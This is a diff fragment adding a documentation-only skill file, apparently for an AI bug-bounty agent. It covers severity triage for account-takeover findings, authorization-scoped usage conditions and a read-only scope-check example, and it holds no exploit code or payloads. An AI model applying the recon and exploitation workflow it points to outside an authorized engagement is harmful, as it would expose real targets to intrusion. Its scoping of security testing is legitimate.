+- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an ATO that needs the victim to click a link AND enter credentials AND pass CAPTCHA. The reproducibility step (10-minute fresh-browser walkthrough taking over test account B from attacker A's session) separates Critical-paid from Self-XSS-tier rejected.
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.